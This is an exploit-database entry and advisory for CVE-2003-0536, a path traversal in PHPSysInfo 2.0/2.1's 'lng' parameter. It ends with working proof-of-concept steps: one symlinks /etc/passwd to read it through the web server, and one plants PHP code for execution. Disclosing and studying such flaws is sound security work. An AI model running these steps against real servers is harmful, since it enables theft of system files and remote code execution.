PHPSysInfo 2.0/2.1 - 'index.php' LNG File Disclosure

Author: Albert Puigsech Galicia
type: webapps
platform: php
port: 
date_added: 2003-04-04  
date_updated: 2012-11-03  
verified: 1  
codes: CVE-2003-0536;OSVDB-8928  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 22459.txt  
source: https://www.securityfocus.com/bid/7286/info

PHPSysInfo has been reported to be vulnerable to a file disclosure issue.

Local users may be capable of influencing the include path for PHPSysinfo language include files. If the malicious language file is symlinked to a web server readable file, the contents of the linked file may be disclosed to the attacker. The file may also contain PHP code which may be executed in the context of the web server hosting the vulnerable application.

This attack may lead to confidential or sensitive information disclosure, which could be used to launch other attacks.

~$ ln -s /etc/passwd /tmp/p.php
http://www.example.com/index.php?lng=../../../../tmp/p


~$ echo "<?php phpinfo() ?>" > /tmp/p.php
http://www.example.com/index.php?lng=../../../../tmp/p